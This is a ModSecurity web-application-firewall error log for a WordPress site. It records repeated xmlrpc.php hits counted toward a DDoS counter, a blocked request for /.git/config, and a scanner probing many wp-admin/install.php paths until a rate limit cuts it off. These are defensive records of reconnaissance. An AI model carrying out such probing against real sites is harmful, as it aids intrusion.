[Fri Apr 17 03:21:23.935118 2026] [:error] [pid 11854:tid 11857] [client 5.9.109.189:39594] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE2s9xJCSIaqP1XSdaqdQAAAkA"]
[Fri Apr 17 03:21:46.590928 2026] [:error] [pid 5250:tid 5269] [client 164.152.53.133:44408] [client 164.152.53.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.152.53.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE2ynm3tORNfNmdiYqtIQAAAA0"]
[Fri Apr 17 03:21:58.339001 2026] [:error] [pid 5486:tid 5498] [client 85.128.143.129:57208] [client 85.128.143.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE21sJP0YXP1v_wqDU0QgAAAQY"]
[Fri Apr 17 03:22:18.080738 2026] [:error] [pid 5959:tid 5995] [client 54.36.181.89:54260] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE26hh6S7soyvWoUGMLGwAAAEQ"]
[Fri Apr 17 03:23:41.339147 2026] [:error] [pid 6075:tid 6088] [client 46.105.230.99:53166] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE3PZNVPFSfXfMu9CM7OwAAAMk"]
[Fri Apr 17 03:25:16.302470 2026] [:error] [pid 5959:tid 5994] [client 107.180.241.110:37594] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE3nBh6S7soyvWoUGMM0gAAAEM"]
[Fri Apr 17 03:26:19.159378 2026] [:error] [pid 5960:tid 6036] [client 69.57.172.96:45330] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE329AnsOizgdg2T5-L_QAAAJI"]
[Fri Apr 17 03:26:55.279831 2026] [:error] [pid 5959:tid 5996] [client 167.172.153.2:34624] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE3_xh6S7soyvWoUGMNgAAAAEU"]
[Fri Apr 17 03:29:48.026471 2026] [:error] [pid 6075:tid 6096] [client 85.128.143.122:39934] [client 85.128.143.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE4rJNVPFSfXfMu9CM_TQAAANE"]
[Fri Apr 17 03:34:58.900961 2026] [:error] [pid 43741:tid 43771] [client 147.182.250.143:33176] [client 147.182.250.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.250.143, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE54jKdEhTezRa_qDE_VgAAAFQ"]
[Fri Apr 17 03:36:12.655863 2026] [:error] [pid 43741:tid 43753] [client 180.93.52.173:60680] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE6LDKdEhTezRa_qDE_sQAAAEI"]
[Fri Apr 17 03:37:40.682249 2026] [:error] [pid 43740:tid 43798] [client 195.242.102.130:42748] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE6hPeCQ2FKQU_hK5SgywAAABQ"]
[Fri Apr 17 03:39:03.447801 2026] [:error] [pid 43837:tid 43848] [client 180.110.203.108:36846] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeE61wYd1hsOG9YcXIA54AAAAMk"]
[Fri Apr 17 03:39:03.780340 2026] [:error] [pid 43740:tid 43794] [client 165.22.37.239:58878] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE61_eCQ2FKQU_hK5ShHwAAABA"]
[Fri Apr 17 03:44:22.297434 2026] [:error] [pid 9151:tid 9184] [client 37.128.148.215:51270] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE8FshTVuRPkua22vRbtAAAABc"]
[Fri Apr 17 03:47:15.846487 2026] [:error] [pid 9151:tid 9173] [client 4.240.89.23:53044] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE8w8hTVuRPkua22vRdAAAAAAw"]
[Fri Apr 17 03:47:17.936976 2026] [:error] [pid 9151:tid 9162] [client 157.66.27.87:44464] [client 157.66.27.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE8xchTVuRPkua22vRdBQAAAAE"]
[Fri Apr 17 03:47:32.041175 2026] [:error] [pid 9151:tid 9180] [client 195.242.102.130:35796] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE81MhTVuRPkua22vRdGwAAABM"]
[Fri Apr 17 03:48:02.153418 2026] [:error] [pid 9263:tid 9269] [client 34.83.18.11:40398] [client 34.83.18.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeE88hP68VyHNvj1e55_qgAAAMQ"]
[Fri Apr 17 03:49:46.514216 2026] [:error] [pid 9151:tid 9169] [client 45.33.94.199:40018] [client 45.33.94.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.94.199, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE9WshTVuRPkua22vRd8gAAAAg"]
[Fri Apr 17 03:52:03.669797 2026] [:error] [pid 9153:tid 9222] [client 68.183.13.1:46282] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.13.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE94-MHGxkTZX3c45epMgAAAIQ"]
[Fri Apr 17 03:55:17.987052 2026] [:error] [pid 9152:tid 9207] [client 91.204.161.79:39720] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE-pZJYca8I3TNCwIfKfQAAAFE"]
[Fri Apr 17 03:55:51.748336 2026] [:error] [pid 9263:tid 9280] [client 45.56.121.237:52684] [client 45.56.121.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.56.121.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE-xxP68VyHNvj1e56G_QAAAM8"]
[Fri Apr 17 03:56:10.787911 2026] [:error] [pid 9263:tid 9289] [client 100.24.110.95:57330] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE-2hP68VyHNvj1e56HKQAAANg"]
[Fri Apr 17 03:57:38.436563 2026] [:error] [pid 9152:tid 9195] [client 217.160.15.203:54812] [client 217.160.15.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.15.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE_MpJYca8I3TNCwIfLKwAAAEU"]
[Fri Apr 17 03:58:18.655570 2026] [:error] [pid 9151:tid 9162] [client 160.250.186.233:49420] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeE_WshTVuRPkua22vRg5AAAAAE"]
[Fri Apr 17 04:02:48.639008 2026] [:error] [pid 9151:tid 9167] [client 209.38.89.62:51266] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/install.php"] [unique_id "aeFAaMhTVuRPkua22vRiSAAAAAY"]
[Fri Apr 17 04:02:48.829649 2026] [:error] [pid 9151:tid 9181] [client 209.38.89.62:51280] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp/wp-admin/install.php"] [unique_id "aeFAaMhTVuRPkua22vRiSQAAABQ"]
[Fri Apr 17 04:02:49.179317 2026] [:error] [pid 9263:tid 9281] [client 209.38.89.62:51294] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new/wp-admin/install.php"] [unique_id "aeFAaRP68VyHNvj1e56NhAAAANA"]
[Fri Apr 17 04:02:49.323044 2026] [:error] [pid 9263:tid 9288] [client 209.38.89.62:51296] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/old/wp-admin/install.php"] [unique_id "aeFAaRP68VyHNvj1e56NhwAAANc"]
[Fri Apr 17 04:02:49.373172 2026] [:error] [pid 9263:tid 9284] [client 209.38.89.62:51310] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aeFAaRP68VyHNvj1e56NiAAAANM"]
[Fri Apr 17 04:02:49.555108 2026] [:error] [pid 9263:tid 9282] [client 209.38.89.62:51322] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test/wp-admin/install.php"] [unique_id "aeFAaRP68VyHNvj1e56NjAAAANE"]
[Fri Apr 17 04:02:49.617800 2026] [:error] [pid 9263:tid 9285] [client 209.38.89.62:51334] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blog/wp-admin/install.php"] [unique_id "aeFAaRP68VyHNvj1e56NjgAAANQ"]
[Fri Apr 17 04:02:49.663826 2026] [:error] [pid 9263:tid 9270] [client 209.38.89.62:51340] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cms/wp-admin/install.php"] [unique_id "aeFAaRP68VyHNvj1e56NjwAAAMU"]
[Fri Apr 17 04:02:49.723422 2026] [:error] [pid 9263:tid 9269] [client 209.38.89.62:51350] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web/wp-admin/install.php"] [unique_id "aeFAaRP68VyHNvj1e56NkgAAAMQ"]
[Fri Apr 17 04:02:50.063440 2026] [:error] [pid 9263:tid 9273] [client 209.38.89.62:51352] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/backup/wp-admin/install.php"] [unique_id "aeFAahP68VyHNvj1e56NlgAAAMg"]
[Fri Apr 17 04:02:50.251728 2026] [:error] [pid 9152:tid 9205] [client 209.38.89.62:51356] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/site/wp-admin/install.php"] [unique_id "aeFAapJYca8I3TNCwIfNSAAAAE8"]
[Fri Apr 17 04:02:50.331147 2026] [:error] [pid 9152:tid 9214] [client 209.38.89.62:51370] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oldsite/wp-admin/install.php"] [unique_id "aeFAapJYca8I3TNCwIfNSgAAAFg"]
[Fri Apr 17 04:02:50.777841 2026] [:error] [pid 9152:tid 9209] [client 209.38.89.62:51372] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shop/wp-admin/install.php"] [unique_id "aeFAapJYca8I3TNCwIfNTgAAAFM"]
[Fri Apr 17 04:03:16.818920 2026] [:error] [pid 9263:tid 9267] [client 176.96.136.90:37186] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFAhBP68VyHNvj1e56OHgAAAMI"]
[Fri Apr 17 04:04:21.754094 2026] [:error] [pid 9263:tid 9265] [client 82.64.81.82:35246] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFAxRP68VyHNvj1e56PIQAAAMA"]
[Fri Apr 17 04:04:22.734386 2026] [:error] [pid 9263:tid 9274] [client 77.68.115.185:42200] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFAxhP68VyHNvj1e56PJwAAAMk"]
[Fri Apr 17 04:05:47.560356 2026] [:error] [pid 9152:tid 9190] [client 5.9.109.189:58106] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFBG5JYca8I3TNCwIfPpAAAAEA"]
[Fri Apr 17 04:06:39.273538 2026] [:error] [pid 9152:tid 9195] [client 51.210.190.32:38380] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFBT5JYca8I3TNCwIfQKAAAAEU"]
[Fri Apr 17 04:09:02.267188 2026] [:error] [pid 9153:tid 9229] [client 198.58.96.57:56740] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFB3uMHGxkTZX3c45ex7wAAAIs"]
[Fri Apr 17 04:09:53.657528 2026] [:error] [pid 9263:tid 9286] [client 159.223.226.118:60506] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.226.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFCERP68VyHNvj1e56TxwAAANU"]
[Fri Apr 17 04:10:04.851826 2026] [:error] [pid 9263:tid 9284] [client 113.161.54.245:55430] [client 113.161.54.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.161.54.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFCHBP68VyHNvj1e56T3gAAANM"]
[Fri Apr 17 04:11:45.865560 2026] [:error] [pid 9153:tid 9230] [client 138.122.43.166:50182] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFCgeMHGxkTZX3c45ezaAAAAIw"]
[Fri Apr 17 04:11:48.129810 2026] [:error] [pid 9153:tid 9240] [client 85.128.143.134:42650] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFChOMHGxkTZX3c45ezbAAAAJY"]
[Fri Apr 17 04:13:32.741286 2026] [:error] [pid 9153:tid 9238] [client 67.205.159.76:17082] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFC7OMHGxkTZX3c45e0KwAAAJQ"]
[Fri Apr 17 04:14:12.241584 2026] [:error] [pid 9153:tid 9224] [client 141.94.27.49:48140] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFDFOMHGxkTZX3c45e0uQAAAIY"]
[Fri Apr 17 04:14:55.079088 2026] [:error] [pid 9263:tid 9266] [client 54.38.195.241:44174] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFDPxP68VyHNvj1e56X8wAAAME"]
[Fri Apr 17 04:15:08.553756 2026] [:error] [pid 9263:tid 9273] [client 156.67.24.219:33796] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFDTBP68VyHNvj1e56YLgAAAMg"]
[Fri Apr 17 04:15:56.190433 2026] [:error] [pid 9152:tid 9195] [client 35.242.254.186:47798] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFDfJJYca8I3TNCwIfVFwAAAEU"]
[Fri Apr 17 04:18:41.537487 2026] [:error] [pid 9152:tid 9196] [client 198.58.96.57:37554] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFEIZJYca8I3TNCwIfYEwAAAEY"]
[Fri Apr 17 04:18:47.523576 2026] [:error] [pid 9153:tid 9229] [client 137.184.25.215:44874] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeFEJ-MHGxkTZX3c45e56AAAAIs"]
